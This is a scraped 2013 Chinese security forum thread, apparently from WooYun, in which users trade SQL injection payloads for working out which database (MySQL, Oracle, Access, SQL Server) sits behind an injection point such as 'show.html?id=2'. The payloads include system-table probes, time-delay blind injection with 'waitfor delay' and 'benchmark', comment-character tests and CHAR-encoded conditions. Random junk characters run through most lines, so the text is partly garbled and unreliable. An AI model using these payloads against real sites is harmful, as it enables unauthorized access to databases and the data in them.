一个注射点如何最快速确认是什么类型数据库
& g( ?8 f( \( d. Hxsser (十根阳具有长短!!) | 2013-02-05 12:36% ]0 Z0 s/ u& T: u
假设这么一个注射点:
d+ {% ]; R6 z6 B/ ]9 Gshow.html?id=2. s$ a2 i+ M+ X! n
mysql:id=2 and version()>0" W8 ^" J7 a4 N. M1 N& ?+ [
oracle:id=2 and '1'||'1'='11
5 _9 D3 [+ d* m4 l) e( g" B其他的欢迎补充
7 W; Y0 C5 u0 `& T( y: W+ ?1#
0 L* B3 T3 b$ w/ L- A1 k) Aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47. Q) h5 v" O( L0 ? l. q
Access:
* X W6 D' U8 g2 I8 ^" i/ uaNd aSc(cHr(97))=97% J& `3 [" k( m7 R- b. H6 [# w
and exists(select id from MSysAccessObjects)
9 l* T! E# h" N/ G& ~& z* sSQL Server:# s0 l x9 }/ v
and exists(select id from sysobjects)
& n8 H# g7 d. W8 \0 tand length(user)>0
+ v' X6 l1 ~: n- [! HMySQL:
5 G- ^- i A' q! _5 V0 } eand length(user())>0+ _7 B" G3 T% L6 f3 m
2#5 D% `2 x1 f* n: |) Z6 E. q
xsser (十根阳具有长短!!) | 2013-02-05 12:48
) ^. d8 J9 x$ t# E* p, }* f4 r@upload 如果这些都不是呢…/ A0 C1 o! R' w c; p* P
3#
: g# v' I# Z+ G3 O* l3 s! yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
# X! f* t9 X" g: ?" P@xsser 不快速的,延时注入
5 s: \* c' P- |( x' u不知道这样写对不对, `5 o+ P7 ]$ r! }. I2 |6 z5 T6 ~
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
* f' \' @# {+ I' o {mysql:id=2 and select benchmark(1e8,current_date());
/ r& V+ H! B1 W" y. P- \( d4 O4#/ z7 @8 _4 z& K2 k1 a7 @0 g' [# O" R8 t
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
- B6 `7 R V, O! j5 V9 u/ G; D* B最快的貌似是看报错信息
; r O& P: _: U; A# a4 {( L! L9 C. Koracle error
2 [/ r0 y b P$ u; D, omssql error
1 Y: N" `$ `. p( R4 D/ ?mysql error. h U2 l6 R' u3 s: m2 O6 `
5#& X" h X' |; ?
Nimda (你们都是坏银~) | 2013-02-05 13:14
% H/ ] J% m1 Z) g, H小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)0 C8 w9 e+ ^5 ^
6#
; h1 ~' y; C# |: Pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:219 ~% i$ Q% ]" t, I) V0 A/ m* f
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:( Y) {/ i+ a% N; h. h
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:" f0 s+ E! H8 L+ P! H7 z5 F
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。# j$ S" G8 y5 G2 Q& B/ I6 T
7#
4 L/ g) a9 Y0 [_Evil (HackEnd) | 2013-02-05 13:33
% `/ H. N4 o& F8 yPostgreSQL5 j: _5 X& ~8 d V
8#
6 I; X$ E0 z3 T" O1 jupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:429 t0 x6 i' F! ~- i3 g9 ^
切换编码 and 1=1* h# r" {# p7 R1 f' a
oracle:
$ M L8 h- Y7 X3 U% f/ f1 v/ w/ {3 yCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
/ o+ Q; _6 D# J1 V9 amssql:4 U1 T/ L+ ?2 ?+ x4 m$ a
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)( ]6 F6 `3 P2 I+ R/ P: ^
mysql:0 e& {) R: l4 }0 \4 [: _) N2 q! F3 ?
CHAR(97, 110, 100, 32, 49, 61, 49)
! o5 J \) k2 F9#9 ]) [6 }5 }% B1 O1 x
xsser (十根阳具有长短!!) | 2013-02-05 14:31- X/ o, o3 u+ N) ?: T8 j: y& ^
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?) @/ j/ M; e: D* K
10#) K& Q2 c r5 p# ]7 D; ]% s5 o
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:469 K7 s+ f( z( m" V; O( U$ }$ o
@xsser 是奇葩数据库类型的么?8 [5 L \ L# M8 P$ b
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:& D) y/ }+ [1 Q2 ^3 {
1.是否可以使用特定的函数来判断,该数据库特有的6 |6 D, P1 {6 ]0 Q8 ^4 o
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等, n5 I6 g0 x: p) ^
3.是否可以编码查询9 c8 f& C9 n4 B3 N+ Q
4.是否显可以利用错信息
0 F" G. ]# c9 A' ^( T5.是否存在数据库某些特性辅助判断
/ V* G' A# Q$ {个人见解
8 `( W2 Y" S W11#4 ^/ \8 @% p, C" {! I
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:559 d$ o5 n/ j7 L) i0 K
已收藏,mssql可以直接看到错误提示的吧~! b! h- R& W, A9 N
12#2 C5 Z2 {$ l: u
Passer_by | 2013-02-05 15:09
$ E- z5 r5 |( z" {- W' B% d曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
0 e1 F1 e3 U# ?) t% L' J c, k* rfrom:http://zone.wooyun.org/content/260 |